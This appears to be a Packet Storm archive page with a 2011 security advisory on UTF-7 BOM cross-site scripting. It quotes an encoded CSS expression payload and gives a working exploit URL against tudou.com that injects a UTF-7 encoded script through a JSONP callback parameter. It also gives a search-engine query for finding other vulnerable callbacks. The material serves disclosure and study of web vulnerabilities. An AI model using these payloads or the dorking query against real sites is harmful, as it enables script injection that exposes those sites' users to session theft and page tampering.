what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

tudou.com UTF7-BOM Cross Site Scripting

tudou.com UTF7-BOM Cross Site Scripting
Posted Feb 9, 2011
Authored by 80vul | Site 80vul.com

tudou.com suffers from a UTF7-BOM cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 77f0d0d5cee1f1942628632a5418bf0a7ee03fa31382d631e811d6018223f820

tudou.com UTF7-BOM Cross Site Scripting

Change Mirror Download
xss attacks through utf7-BOM string injection

the beginning of the utf-7 BOM chascter is from Gareth Heyes's paper 《XSS
Lightsabre techniques》

---------------------start----------------------------------
CSS expressions with UTF-7
• UTF-7 BOM character can force UTF-7 in a external style sheet
• Would you let me upload a style sheet?
• @charset „UTF-7‟; works
• But you don‟t need it
• +/v8 is all you need
+/v8
body {
font-family:
'+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAoAGEAbA
BlAHIAdAAoADEAKQApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5ADoAJw-';
---------------------------end-----------------------------

this eg is for style sheet, and it work well on html file. like this demo:
http://www.80vul.com/test/utf7.htm. the file format is only base on the
first four bytes and the Space. so If we can control the beginning of the
file bytes of html file, Then we can be injected any html/javascript code,
it can lead to xss attacks.

json-callback + utf7-BOM string injection == lots of xss vul

online, lots of sites set the json file's Content-Type: text/html. and
"callback" function name at the first bytes is a ariable. so it leadto xss
vuls using utf7-BOM string injection.

the demo:

http://www.tudou.com/my/channel/item.srv?icode=enQCgQKJTDs&callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB0AG0APg-%20xsadas

and u can use GOOGLE Hacking to find where are the callbacks:

site:80vul.com inurl:callback


Happy New Year!

thanks Mario Heiderich for u tell me what is "+/v8" :)
thanks Gareth Heyes for u the nice paper.

--superhei from http://www.80vul.com

--ad--
About Ph4nt0m Webzine

Ph4nt0m Webzine is a free network Security Magazine,We accept articles in
English and Chinese, you are welcome contributions .
mailto:root_at_ph4nt0m.org pls.thank you!
Login or Register to add favorites

File Archive:

March 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    13 Files
  • 3
    Mar 3rd
    15 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    31 Files
  • 8
    Mar 8th
    16 Files
  • 9
    Mar 9th
    13 Files
  • 10
    Mar 10th
    9 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    10 Files
  • 14
    Mar 14th
    6 Files
  • 15
    Mar 15th
    17 Files
  • 16
    Mar 16th
    22 Files
  • 17
    Mar 17th
    13 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    16 Files
  • 21
    Mar 21st
    13 Files
  • 22
    Mar 22nd
    5 Files
  • 23
    Mar 23rd
    6 Files
  • 24
    Mar 24th
    47 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    50 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    7 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close